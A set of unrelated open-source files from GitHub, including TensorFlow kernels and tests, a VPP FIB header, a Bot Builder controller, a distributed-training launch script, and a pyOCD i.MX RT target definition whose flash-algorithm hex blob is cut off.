// // Generated by class-dump 3.5 (64 bit) (Debug version compiled Oct 25 2017 03:49:04). // // class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2015 by Steve Nygard. // #import "IOpenSaveObjectController.h" #import "TOpenPanelCallbacks-Protocol.h" @interface TChooseObjectController : IOpenSaveObjectController <TOpenPanelCallbacks> { struct TNSRef<TOpenPanel, void> _choosePanel; } - (id).cxx_construct; - (void).cxx_destruct; - (void)dealloc; - (void)openPanelDidEnd:(id)arg1 returnCode:(long long)arg2; - (void)run; - (_Bool)validateNode:(const struct TFENode *)arg1; - (_Bool)shouldEnableNode:(const struct TFENode *)arg1; - (BOOL)panel:(id)arg1 shouldEnableURL:(id)arg2; - (void)getSelectedNodes:(struct TFENodeVector *)arg1; - (void)setAccessoryView:(id)arg1; - (void)setOptions:(int)arg1; - (int)options; - (id)panel; - (int)defaultOptions; - (id)init; @end
{ "pile_set_name": "Github" }
/* Copyright 2016 The TensorFlow Authors. All Rights Reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. ==============================================================================*/ #include "tensorflow/core/kernels/cast_op_impl.h" namespace tensorflow { typedef Eigen::ThreadPoolDevice CPUDevice; typedef Eigen::GpuDevice GPUDevice; std::function<void(OpKernelContext*, const Tensor&, Tensor*)> GetCpuCastFromHalf(DataType dst_dtype) { CURRY_TYPES3(CAST_CASE, CPUDevice, Eigen::half); return nullptr; } #if GOOGLE_CUDA std::function<void(OpKernelContext*, const Tensor&, Tensor*)> GetGpuCastFromHalf(DataType dst_dtype) { CURRY_TYPES3(CAST_CASE, GPUDevice, Eigen::half); return nullptr; } #endif // GOOGLE_CUDA } // namespace tensorflow
{ "pile_set_name": "Github" }
// Copyright (c) Microsoft Corporation. All rights reserved. // Licensed under the MIT License. // // Generated with Bot Builder V4 SDK Template for Visual Studio EchoBot v$templateversion$ using System.Threading.Tasks; using Microsoft.AspNetCore.Mvc; using Microsoft.Bot.Builder; using Microsoft.Bot.Builder.Integration.AspNet.Core; namespace $safeprojectname$.Controllers { // This ASP Controller is created to handle a request. Dependency Injection will provide the Adapter and IBot // implementation at runtime. Multiple different IBot implementations running at different endpoints can be // achieved by specifying a more specific type for the bot constructor argument. [Route("api/messages")] [ApiController] public class BotController : ControllerBase { private readonly IBotFrameworkHttpAdapter Adapter; private readonly IBot Bot; public BotController(IBotFrameworkHttpAdapter adapter, IBot bot) { Adapter = adapter; Bot = bot; } [HttpPost, HttpGet] public async Task PostAsync() { // Delegate the processing of the HTTP POST to the adapter. // The adapter will invoke the bot. await Adapter.ProcessAsync(Request, Response, Bot); } } }
{ "pile_set_name": "Github" }
#!/bin/bash # Copyright (c) 2018-2019, NVIDIA CORPORATION. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. export WORLD_SIZE=4 python -m torch.distributed.launch --nnodes=2 --node_rank=0 --nproc_per_node=2 --master_addr="30.57.186.244" --master_port=333 \ train.py \ --use-fp16 \ --nhwc \ --pad-input \ --jit \ --delay-allreduce \ --opt-loss \ --epochs 1 \ --warmup-factor 0 \ --no-save \ --threshold=0.23 \ --data coco \ --evaluation 120000 160000 180000 200000 220000 240000 260000 280000
{ "pile_set_name": "Github" }
/* * Copyright (c) 2016 Cisco and/or its affiliates. * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at: * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #ifndef __FIB_NODE_H__ #define __FIB_NODE_H__ #include <vnet/fib/fib_types.h> /** * The types of nodes in a FIB graph */ typedef enum fib_node_type_t_ { /** * Marker. New types after this one. */ FIB_NODE_TYPE_FIRST = 0, /** * See the respective fib_*.h files for descriptions of these objects. */ FIB_NODE_TYPE_WALK, FIB_NODE_TYPE_ENTRY, FIB_NODE_TYPE_MFIB_ENTRY, FIB_NODE_TYPE_PATH_LIST, FIB_NODE_TYPE_PATH, FIB_NODE_TYPE_ADJ, FIB_NODE_TYPE_MPLS_ENTRY, FIB_NODE_TYPE_MPLS_TUNNEL, FIB_NODE_TYPE_LISP_GPE_FWD_ENTRY, FIB_NODE_TYPE_LISP_ADJ, FIB_NODE_TYPE_VXLAN_TUNNEL, FIB_NODE_TYPE_MAP_E, FIB_NODE_TYPE_VXLAN_GPE_TUNNEL, FIB_NODE_TYPE_GENEVE_TUNNEL, FIB_NODE_TYPE_UDP_ENCAP, FIB_NODE_TYPE_BIER_FMASK, FIB_NODE_TYPE_BIER_ENTRY, FIB_NODE_TYPE_VXLAN_GBP_TUNNEL, FIB_NODE_TYPE_IPSEC_SA, FIB_NODE_TYPE_IP_PUNT_REDIRECT, FIB_NODE_TYPE_ENTRY_TRACK, /** * Marker. New types before this one. leave the test last. */ FIB_NODE_TYPE_TEST, FIB_NODE_TYPE_LAST = FIB_NODE_TYPE_TEST, } __attribute__ ((packed)) fib_node_type_t; #define FIB_NODE_TYPE_MAX (FIB_NODE_TYPE_LAST + 1) #define FIB_NODE_TYPES { \ [FIB_NODE_TYPE_ENTRY] = "entry", \ [FIB_NODE_TYPE_MFIB_ENTRY] = "mfib-entry", \ [FIB_NODE_TYPE_WALK] = "walk", \ [FIB_NODE_TYPE_PATH_LIST] = "path-list", \ [FIB_NODE_TYPE_PATH] = "path", \ [FIB_NODE_TYPE_MPLS_ENTRY] = "mpls-entry", \ [FIB_NODE_TYPE_MPLS_TUNNEL] = "mpls-tunnel", \ [FIB_NODE_TYPE_ADJ] = "adj", \ [FIB_NODE_TYPE_LISP_GPE_FWD_ENTRY] = "lisp-gpe-fwd-entry", \ [FIB_NODE_TYPE_LISP_ADJ] = "lisp-adj", \ [FIB_NODE_TYPE_VXLAN_TUNNEL] = "vxlan-tunnel", \ [FIB_NODE_TYPE_MAP_E] = "map-e", \ [FIB_NODE_TYPE_VXLAN_GPE_TUNNEL] = "vxlan-gpe-tunnel", \ [FIB_NODE_TYPE_UDP_ENCAP] = "udp-encap", \ [FIB_NODE_TYPE_BIER_FMASK] = "bier-fmask", \ [FIB_NODE_TYPE_BIER_ENTRY] = "bier-entry", \ [FIB_NODE_TYPE_VXLAN_GBP_TUNNEL] = "vxlan-gbp-tunnel", \ [FIB_NODE_TYPE_IPSEC_SA] = "ipsec-sa", \ [FIB_NODE_TYPE_IP_PUNT_REDIRECT] = "ip-punt-redirect", \ [FIB_NODE_TYPE_ENTRY_TRACK] = "fib-entry-track" \ } /** * Reasons for backwalking the FIB object graph */ typedef enum fib_node_back_walk_reason_t_ { /** * Marker. Add new ones after. */ FIB_NODE_BW_REASON_FIRST = 0, /** * Walk to re-resolve the child. * Used when the parent is no longer a valid resolution target */ FIB_NODE_BW_REASON_RESOLVE = FIB_NODE_BW_REASON_FIRST, /** * Walk to re-evaluate the forwarding contributed by the parent. * Used when a parent's forwarding changes and the child needs to * incorporate this change in its forwarding. */ FIB_NODE_BW_REASON_EVALUATE, /** * A resolving interface has come up */ FIB_NODE_BW_REASON_INTERFACE_UP, /** * A resolving interface has gone down */ FIB_NODE_BW_REASON_INTERFACE_DOWN, /** * A resolving interface has been deleted. */ FIB_NODE_BW_REASON_INTERFACE_DELETE, /** * Walk to re-collapse the multipath adjs when the rewrite of * a unipath adjacency changes */ FIB_NODE_BW_REASON_ADJ_UPDATE, /** * Walk to update children to inform them the adjacency is now down. */ FIB_NODE_BW_REASON_ADJ_DOWN, /** * Marker. Add new before and update */ FIB_NODE_BW_REASON_LAST = FIB_NODE_BW_REASON_ADJ_DOWN, } fib_node_back_walk_reason_t; #define FIB_NODE_BW_REASONS { \ [FIB_NODE_BW_REASON_RESOLVE] = "resolve", \ [FIB_NODE_BW_REASON_EVALUATE] = "evaluate", \ [FIB_NODE_BW_REASON_INTERFACE_UP] = "if-up", \ [FIB_NODE_BW_REASON_INTERFACE_DOWN] = "if-down", \ [FIB_NODE_BW_REASON_INTERFACE_DELETE] = "if-delete", \ [FIB_NODE_BW_REASON_ADJ_UPDATE] = "adj-update", \ [FIB_NODE_BW_REASON_ADJ_DOWN] = "adj-down", \ } #define FOR_EACH_FIB_NODE_BW_REASON(_item) \ for (_item = FIB_NODE_BW_REASON_FIRST; \ _item <= FIB_NODE_BW_REASON_LAST; \ _item++) /** * Flags enum constructed from the reaons */ typedef enum fib_node_bw_reason_flag_t_ { FIB_NODE_BW_REASON_FLAG_NONE = 0, FIB_NODE_BW_REASON_FLAG_RESOLVE = (1 << FIB_NODE_BW_REASON_RESOLVE), FIB_NODE_BW_REASON_FLAG_EVALUATE = (1 << FIB_NODE_BW_REASON_EVALUATE), FIB_NODE_BW_REASON_FLAG_INTERFACE_UP = (1 << FIB_NODE_BW_REASON_INTERFACE_UP), FIB_NODE_BW_REASON_FLAG_INTERFACE_DOWN = (1 << FIB_NODE_BW_REASON_INTERFACE_DOWN), FIB_NODE_BW_REASON_FLAG_INTERFACE_DELETE = (1 << FIB_NODE_BW_REASON_INTERFACE_DELETE), FIB_NODE_BW_REASON_FLAG_ADJ_UPDATE = (1 << FIB_NODE_BW_REASON_ADJ_UPDATE), FIB_NODE_BW_REASON_FLAG_ADJ_DOWN = (1 << FIB_NODE_BW_REASON_ADJ_DOWN), } __attribute__ ((packed)) fib_node_bw_reason_flag_t; STATIC_ASSERT(sizeof(fib_node_bw_reason_flag_t) < 2, "BW Reason enum < 2 byte. Consequences for cover_upd_res_t"); extern u8 *format_fib_node_bw_reason(u8 *s, va_list *args); /** * Flags on the walk */ typedef enum fib_node_bw_flags_t_ { FIB_NODE_BW_FLAG_NONE = 0, /** * Force the walk to be synchronous */ FIB_NODE_BW_FLAG_FORCE_SYNC = (1 << 0), } fib_node_bw_flags_t; /** * Forward declarations */ struct fib_node_t_; /** * A representation of one pointer to another node. * To fully qualify a node, one must know its type and its index so it * can be retrieved from the appropriate pool. Direct pointers to nodes * are forbidden, since all nodes are allocated from pools, which are vectors, * and thus subject to realloc at any time. */ typedef struct fib_node_ptr_t_ { /** * node type */ fib_node_type_t fnp_type; /** * node's index */ fib_node_index_t fnp_index; } fib_node_ptr_t; /** * @brief A list of FIB nodes. */ typedef u32 fib_node_list_t; /** * Context passed between object during a back walk. */ typedef struct fib_node_back_walk_ctx_t_ { /** * The reason/trigger for the backwalk */ fib_node_bw_reason_flag_t fnbw_reason; /** * additional flags for the walk */ fib_node_bw_flags_t fnbw_flags; /** * the number of levels the walk has already traversed. * this value is maintained by the walk infra, tp limit the depth of * a walk so it does not run indefinately the presence of a loop/cycle * in the graph. */ u32 fnbw_depth; } fib_node_back_walk_ctx_t; /** * We consider a depth of 32 to be sufficient to cover all sane * network topologies. Anything more is then an indication that * there is a loop/cycle in the FIB graph. * Note that all object types contribute to 1 to the depth. */ #define FIB_NODE_GRAPH_MAX_DEPTH ((u32)32) /** * A callback function for walking a node dependency list */ typedef int (*fib_node_ptr_walk_t)(fib_node_ptr_t *depend, void *ctx); /** * A list of dependent nodes. * This is currently implemented as a hash_table of fib_node_ptr_t */ typedef fib_node_ptr_t fib_node_ptr_list_t; /** * Return code from a back walk function */ typedef enum fib_node_back_walk_rc_t_ { FIB_NODE_BACK_WALK_MERGE, FIB_NODE_BACK_WALK_CONTINUE, } fib_node_back_walk_rc_t; /** * Function definition to backwalk a FIB node */ typedef fib_node_back_walk_rc_t (*fib_node_back_walk_t)( struct fib_node_t_ *node, fib_node_back_walk_ctx_t *ctx); /** * Function definition to get a FIB node from its index */ typedef struct fib_node_t_* (*fib_node_get_t)(fib_node_index_t index); /** * Function definition to inform the FIB node that its last lock has gone. */ typedef void (*fib_node_last_lock_gone_t)(struct fib_node_t_ *node); /** * Function definition to display the amount of memory used by a type. * Implementations should call fib_show_memory_usage() */ typedef void (*fib_node_memory_show_t)(void); /** * A FIB graph nodes virtual function table */ typedef struct fib_node_vft_t_ { fib_node_get_t fnv_get; fib_node_last_lock_gone_t fnv_last_lock; fib_node_back_walk_t fnv_back_walk; format_function_t *fnv_format; fib_node_memory_show_t fnv_mem_show; } fib_node_vft_t; /** * An node in the FIB graph * * Objects in the FIB form a graph. */ typedef struct fib_node_t_ { /** * The node's type. make sure we are dynamic/down casting correctly */ fib_node_type_t fn_type; /** * Some pad space the concrete/derived type is free to use */ u16 fn_pad; /** * Vector of nodes that depend upon/use/share this node */ fib_node_list_t fn_children; /** * Number of dependents on this node. This number includes the number * of children */ u32 fn_locks; } fib_node_t; STATIC_ASSERT(sizeof(fib_node_t) == 12, "FIB node type is growing"); /** * @brief * Register the function table for a given type * * @param ft * FIB node type * * @param vft * virtual function table */ extern void fib_node_register_type (fib_node_type_t ft, const fib_node_vft_t *vft); /** * @brief * Create a new FIB node type and Register the function table for it. * * @param vft * virtual function table * * @return new FIB node type */ extern fib_node_type_t fib_node_register_new_type (const fib_node_vft_t *vft); /** * @brief Show the memory usage for a type * * This should be invoked by the type in response to the infra calling * its registered memory show function * * @param name the name of the type * @param in_use_elts The number of elements in use * @param allocd_elts The number of allocated pool elemenets * @param size_elt The size of one element */ extern void fib_show_memory_usage(const char *name, u32 in_use_elts, u32 allocd_elts, size_t size_elt); extern void fib_node_init(fib_node_t *node, fib_node_type_t ft); extern void fib_node_deinit(fib_node_t *node); extern void fib_node_lock(fib_node_t *node); extern void fib_node_unlock(fib_node_t *node); extern u32 fib_node_get_n_children(fib_node_type_t parent_type, fib_node_index_t parent_index); extern u32 fib_node_child_add(fib_node_type_t parent_type, fib_node_index_t parent_index, fib_node_type_t child_type, fib_node_index_t child_index); extern void fib_node_child_remove(fib_node_type_t parent_type, fib_node_index_t parent_index, fib_node_index_t sibling_index); extern fib_node_back_walk_rc_t fib_node_back_walk_one(fib_node_ptr_t *ptr, fib_node_back_walk_ctx_t *ctx); extern u8* fib_node_children_format(fib_node_list_t list, u8 *s); extern const char* fib_node_type_get_name(fib_node_type_t type); static inline int fib_node_index_is_valid (fib_node_index_t ni) { return (FIB_NODE_INDEX_INVALID != ni); } #endif
{ "pile_set_name": "Github" }
/* * Copyright 2011-2015 the original author or authors. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.glowroot.agent.tests.app; public class LevelTwo { private final RuntimeException exception; public LevelTwo() { this(null); } LevelTwo(RuntimeException e) { exception = e; } // this method corresponds to LevelTwoAspect public void call(String arg1, String arg2) { new LevelThree(exception).call(arg1 + "y", arg2 + "y"); } }
{ "pile_set_name": "Github" }
/* Copyright 2019 The TensorFlow Authors. All Rights Reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. ==============================================================================*/ #ifdef INTEL_MKL #include "tensorflow/core/framework/fake_input.h" #include "tensorflow/core/framework/node_def_builder.h" #include "tensorflow/core/framework/tensor.h" #include "tensorflow/core/kernels/ops_testutil.h" #include "tensorflow/core/kernels/ops_util.h" #include "tensorflow/core/lib/core/status_test_util.h" #include "tensorflow/core/platform/test.h" #include "tensorflow/core/platform/test_benchmark.h" #include "tensorflow/core/util/mkl_util.h" namespace tensorflow { class MklDequantizeOpTest : public OpsTestBase {}; static const uint8 dummy_tensor[] = {0, 0, 0, 0, 0, 0, 0, 0}; static const TensorShape dummy_shape({8}); TEST_F(MklDequantizeOpTest, small) { TF_ASSERT_OK(NodeDefBuilder("dequantize_op", "_MklDequantize") .Input(FakeInput(DT_QUINT8)) .Input(FakeInput(DT_FLOAT)) .Input(FakeInput(DT_FLOAT)) .Input(FakeInput(DT_UINT8)) // MKL second tensor .Input(FakeInput(DT_UINT8)) // MKL second tensor .Input(FakeInput(DT_UINT8)) // MKL second tensor .Attr("T", DataTypeToEnum<quint8>::v()) .Attr("mode", "SCALED") .Attr("_kernel", "QuantizedMklOp") .Finalize(node_def())); TF_ASSERT_OK(InitOp()); AddInputFromArray<quint8>(TensorShape({1, 2, 2, 2}), {0, 10, 50, 40, 25, 115, 190, 255}); // min_range = 0 AddInputFromArray<float>(TensorShape({1}), {0}); // max_range = 200 AddInputFromArray<float>(TensorShape({1}), {200.0f}); AddInputFromArray<uint8>(dummy_shape, dummy_tensor); AddInputFromArray<uint8>(dummy_shape, dummy_tensor); AddInputFromArray<uint8>(dummy_shape, dummy_tensor); TF_ASSERT_OK(RunOpKernel()); Tensor expected(allocator(), DT_FLOAT, TensorShape({1, 2, 2, 2})); test::FillValues<float>(&expected, {0.0, 7.84, 39.21, 31.37, 19.6, 90.2, 149.0, 200}); const Tensor& output = *GetOutput(0); test::ExpectTensorNear<float>(expected, output, 0.1); } template <typename T> class CommonTestUtilities : public OpsTestBase { public: void MklToTF(const Tensor& tensor, const Tensor& mkl_meta_tensor, Tensor* output) { // Create an MKL to TF conversion node and execute it TF_ASSERT_OK(NodeDefBuilder("mkl_to_tf_op", "_MklToTf") .Input(FakeInput(DataTypeToEnum<T>::v())) .Input(FakeInput(DT_UINT8)) // MKL second tensor .Attr("T", DataTypeToEnum<T>::v()) .Attr("_kernel", "MklLayoutDependentOp") .Finalize(node_def())); TF_ASSERT_OK(InitOp()); AddInputFromArray<T>(tensor.shape(), tensor.flat<T>()); AddInputFromArray<uint8>(mkl_meta_tensor.shape(), mkl_meta_tensor.flat<uint8>()); TF_ASSERT_OK(RunOpKernel()); *output = *GetOutput(0); } void ConvertAndCompare(const Tensor& tensor, const Tensor& mkl_meta_tensor, const Tensor& expected) { Tensor output; MklToTF(tensor, mkl_meta_tensor, &output); test::ExpectTensorNear<T>(expected, output, 0.1); } void TestBody() {} }; TEST_F(MklDequantizeOpTest, MKLInput) { TF_ASSERT_OK(NodeDefBuilder("dequantize_op", "_MklDequantize") .Input(FakeInput(DT_QUINT8)) .Input(FakeInput(DT_FLOAT)) .Input(FakeInput(DT_FLOAT)) .Input(FakeInput(DT_UINT8)) // MKL second tensor .Input(FakeInput(DT_UINT8)) // MKL second tensor .Input(FakeInput(DT_UINT8)) // MKL second tensor .Attr("T", DataTypeToEnum<quint8>::v()) .Attr("mode", "SCALED") .Attr("_kernel", "QuantizedMklOp") .Finalize(node_def())); TF_ASSERT_OK(InitOp()); AddInputFromArray<quint8>(TensorShape({1, 2, 2, 2}), {0, 10, 50, 40, 25, 115, 190, 255}); // min_range = 0 AddInputFromArray<float>(TensorShape({1}), {0}); // max_range = 200 AddInputFromArray<float>(TensorShape({1}), {200.0f}); AddInputFromArray<uint8>(dummy_shape, dummy_tensor); AddInputFromArray<uint8>(dummy_shape, dummy_tensor); AddInputFromArray<uint8>(dummy_shape, dummy_tensor); TF_ASSERT_OK(RunOpKernel()); Tensor expected(allocator(), DT_FLOAT, TensorShape({1, 2, 2, 2})); test::FillValues<float>(&expected, {0.0, 7.84, 39.21, 31.37, 19.6, 90.2, 149.0, 200}); CommonTestUtilities<float> test_util; test_util.ConvertAndCompare(*GetOutput(0), *GetOutput(1), expected); } } // namespace tensorflow #endif // INTEL_MKL
{ "pile_set_name": "Github" }
// Copyright 2013 Matt T. Proud // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Package pbutil provides record length-delimited Protocol Buffer streaming. package pbutil
{ "pile_set_name": "Github" }
# pyOCD debugger # Copyright (c) 2017 NXP # Copyright (c) 2018 Arm Limited # SPDX-License-Identifier: Apache-2.0 # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from ...flash.flash import Flash from ...coresight.coresight_target import CoreSightTarget from ...core.memory_map import (FlashRegion, RomRegion, RamRegion, MemoryMap) from ...debug.svd.loader import SVDFile from ..family.target_imxrt import IMXRT FLASH_ALGO_QUADSPI = { 'load_address' : 0x20200000, # Flash algorithm as a hex string 'instructions': [ 0xE00ABE00, 0x062D780D, 0x24084068, 0xD3000040, 0x1E644058, 0x1C49D1FA, 0x2A001E52, 0x4770D1F2, 0x4605b570, 0x4616460c, 0xcc0fe002, 0x3e10c50f, 0xd2fa2e10, 0xd3022e08, 0xc503cc03, 0x2e043e08, 0xcc01d307, 0x1f36c501, 0x7821e003, 0x1c647029, 0x1e761c6d, 0xbd70d2f9, 0x4770ba40, 0x4770ba40, 0x4770ba40, 0x4770ba40, 0x4770ba40, 0x4770ba40, 0x4770ba40, 0x4770bac0, 0x4770bac0, 0x4770bac0, 0x4770bac0, 0x4770bac0, 0x4770bac0, 0x4770bac0, 0x4874b510, 0x08408900, 0x49720040, 0x48728108, 0x08408900, 0x49700040, 0x486e8108, 0x21048800, 0x28004008, 0x486bd004, 0x43888800, 0x80084969, 0x88004869, 0x40082104, 0xd0042800, 0x88004866, 0x49654388, 0x48658008, 0x21806800, 0x28004008, 0x4863d00c, 0x60484961, 0x60884862, 0x68004608, 0x43882180, 0x43082120, 0x6008495c, 0x6900485e, 0x0fc007c0, 0xd0052800, 0x6900485b, 0x00400840, 0x61084959, 0x69404859, 0x04092101, 0x42884008, 0xbf00d14a, 0x4c552300, 0x60633480, 0xbf00bf00, 0xbf00bf00, 0x8f4ff3bf, 0xbf00bf00, 0x4b4fbf00, 0x4604695b, 0x4c4d43a3, 0xbf006163, 0xbf00bf00, 0x8f4ff3bf, 0xbf00bf00, 0x4b48bf00, 0x68183380, 0x40034b47, 0xbf000b59, 0x40034b46, 0xbf0008da, 0x4c45014b, 0x07944023, 0x07a40fa4, 0x4c434323, 0xbf006363, 0x4613bf00, 0x2b001e52, 0x460bd1f0, 0x2b001e49, 0xbf00d1e8, 0xbf00bf00, 0x8f4ff3bf, 0xbf00bf00, 0xbf00bf00, 0xbf00bf00, 0x8f6ff3bf, 0xbf00bf00, 0xbf00bf00, 0xb5febd10, 0x460e4605, 0xf7ff4617, 0x4832ff65, 0x466a9000, 0x44494931, 0xf0032000, 0x4604fa6c, 0xd0012c00, 0xbdfe2001, 0x4449492c, 0xf0002000, 0x2800ff93, 0x2001d001, 0x2000e7f5, 0x4601e7f3, 0x47702000, 0x4925b510, 0x20004449, 0xf962f001, 0xd0012800, 0xbd102001, 0xe7fc2000, 0x4604b510, 0x07402003, 0x23011a24, 0x4622031b, 0x4449491b, 0xf0032000, 0x2800faad, 0x2001d001, 0x2000bd10, 0xb570e7fc, 0x460e4604, 0x20034615, 0x1a240740, 0x4622462b, 0x44494911, 0xf0012000, 0x2800f8c9, 0x2001d001, 0x2000bd70, 0x0000e7fc, 0x400b8000, 0x400d0000, 0x400bc000, 0xd928c520, 0x0000ffff, 0xe000e000, 0xe000ed00, 0x0fffe000, 0x00001ff8, 0x00003fe0, 0xe000ef40, 0xc0000406, 0x00000004, 0x48cbb510, 0x444949cb, 0xbf006008, 0x6b0048ca, 0x03092101, 0x49c84388, 0xbf006308, 0x6b0048c6, 0x07c00fc0, 0xd0f92800, 0x680048c4, 0x400849c4, 0x49c43018, 0x49c14308, 0x20036008, 0x49be0300, 0xbf006108, 0x690048bc, 0x07c00fc0, 0xd0f92800, 0x690048b9, 0x04092101, 0x49b74388, 0x48b76108, 0x6b003840, 0x400849b6, 0x49b73023, 0x49b34308, 0x63083940, 0x49b648b5, 0x60084449, 0xe0002401, 0x46211c64, 0x444848b2, 0xf0046800, 0x49b1fd40, 0xd8f54288, 0x694048b0, 0x0209211f, 0x1e614388, 0x22030209, 0x40110212, 0x49ab4308, 0x46086148, 0x0a006a40, 0x1cc00200, 0x46086248, 0x02916980, 0x18404388, 0x618849a4, 0x69804608, 0x400849a3, 0x06892105, 0x49a04308, 0x46086188, 0x49a069c0, 0x05514008, 0x21071840, 0x430805c9, 0x499a1c40, 0x489161c8, 0x21016b00, 0x43880409, 0x6308498e, 0x69004608, 0x04092101, 0x498b4388, 0xbd106108, 0x31804991, 0x22036809, 0x43110292, 0x32804a8e, 0x47706011, 0x3180498c, 0x22036809, 0x43910292, 0x32804a89, 0x47706011, 0xb08cb5f7, 0x4615460c, 0x27002600, 0x900b2000, 0x2214900a, 0x44794985, 0xf7ffa805, 0x2214fe19, 0x44794982, 0x46683108, 0xfe12f7ff, 0x2d00bf00, 0x2d01d002, 0xe048d000, 0x38404872, 0x09866b00, 0x487701b6, 0x210769c0, 0x438805c9, 0x23004607, 0xd1012d00, 0xe000ab05, 0x2c01466b, 0x2c09db34, 0x2401dd00, 0x5c180060, 0x0060900b, 0x784018c0, 0x980b900a, 0x0e800680, 0x980a4306, 0x05c01e40, 0x05c92107, 0x43074008, 0x68004869, 0x43082102, 0x60084967, 0xf7ff980c, 0x485affa9, 0x6b003840, 0xd00242b0, 0x38404857, 0x485d6306, 0x42b869c0, 0x485bd001, 0x980c61c7, 0xff8ef7ff, 0x6800485c, 0x43882102, 0x6008495a, 0xbf00bf00, 0xbdf0b00f, 0xb085b5f0, 0x4616460d, 0x20002400, 0x484e9004, 0x68004448, 0x2d009002, 0x2d01d004, 0x2d02d006, 0xe010d12e, 0x44484848, 0xe02c6804, 0x69404848, 0x02092103, 0x0a004008, 0x46391c47, 0xf0049802, 0x4604fc62, 0x4842e01f, 0x483a69c0, 0x6b003840, 0x0e800680, 0x48439001, 0xf0049901, 0x2112fc54, 0x90004348, 0x69c0483a, 0x05c92107, 0x0dc04008, 0x90031c40, 0x98009903, 0xfc45f004, 0xe0024604, 0x90042004, 0xbf00bf00, 0x98046034, 0xbdf0b005, 0x4603b510, 0xbf002004, 0xd1012b00, 0xd1002900, 0x2a01e008, 0x4c30d102, 0xe001600c, 0x600c4c2e, 0xbf002000, 0xbd10bf00, 0x44484823, 0x47706800, 0x4823b510, 0x21036940, 0x40080209, 0x1c440a00, 0x481d4621, 0x68004448, 0xfc15f004, 0xb5f8bd10, 0x460d4604, 0xffe8f7ff, 0x49204606, 0xfc0bf004, 0xe00c4607, 0x46382103, 0xfc05f004, 0xe0009000, 0x9800bf00, 0x91001e41, 0xd1f92800, 0x4629bf00, 0x462a4620, 0x1e642300, 0x4615419a, 0x40594058, 0xd1e74308, 0x0000bdf8, 0x016e3600, 0x00000204, 0x400d8000, 0x400d8100, 0xc0c0c0c0, 0x18131800, 0x0f1a2300, 0x1f78a400, 0x0000020c, 0x08954400, 0x400fc000, 0xc3ffffcf, 0x9c7fff80, 0x00004c22, 0x400a0000, 0x1c9c3800, 0x09e4f580, 0x000f4240, 0x460cb5f8, 0x486526f1, 0x27f19000, 0x462025f1, 0xf991f003, 0xd0042800, 0x6ee06e26, 0x6e679000, 0x6d206ea5, 0xd1022800, 0x28006d60, 0x6d60d060, 0xd0052800, 0x485a2100, 0x48596701, 0x660630c0, 0x28006d20, 0x2100d005, 0x66c14855, 0x30c04854, 0x211065c6, 0x65c14852, 0x30c04851, 0x210064c7, 0x6601484f, 0x30c0484e, 0x484d6505, 0x484c6681, 0x658530c0, 0x6641484a, 0x30c04849, 0x48486545, 0x48476581, 0x648530c0, 0x5d002045, 0xd1142808, 0x67814843, 0x30c04842, 0x48416685, 0x67013010, 0x30c0483f, 0x483e6705, 0x483d67c1, 0x66c530c0, 0x6741483b, 0x30c0483a, 0x7b206645, 0xd0022803, 0x28017b20, 0x2110d109, 0x65414835, 0x31c04934, 0x64489800, 0x48332101, 0x46206241, 0xf935f003, 0xd0052800, 0x482e2100, 0x482e65c1, 0x64c738b0, 0x28006da0, 0x6de0d102, 0xd0262800, 0x28006da0, 0x2100d006, 0x30104826, 0x48266741, 0x674638b0, 0x48232110, 0x48236501, 0x640738b0, 0x48202100, 0x48206781, 0x668538b0, 0x3010481d, 0x481d6701, 0x670538b0, 0x67c1481a, 0x38b0481a, 0x481866c5, 0x48186741, 0x664538b0, 0xbdf8bf00, 0x20044601, 0x2900bf00, 0xe014d100, 0x2a037b0a, 0x2340d10f, 0x401a6c0a, 0xd0032a00, 0x2278230f, 0xe0065453, 0x5c522279, 0xda022a01, 0x2278231e, 0x20005453, 0xbf00bf00, 0x46014770, 0x62814807, 0x47702000, 0x48054601, 0x60086a80, 0x47702000, 0x000130f1, 0x401f8000, 0x401f8170, 0x400f8000, 0x4607b5bf, 0x463849f8, 0x01019102, 0x99020d0a, 0x68091851, 0x0edb06c3, 0x409a2201, 0x29004011, 0x2101d001, 0x2100e000, 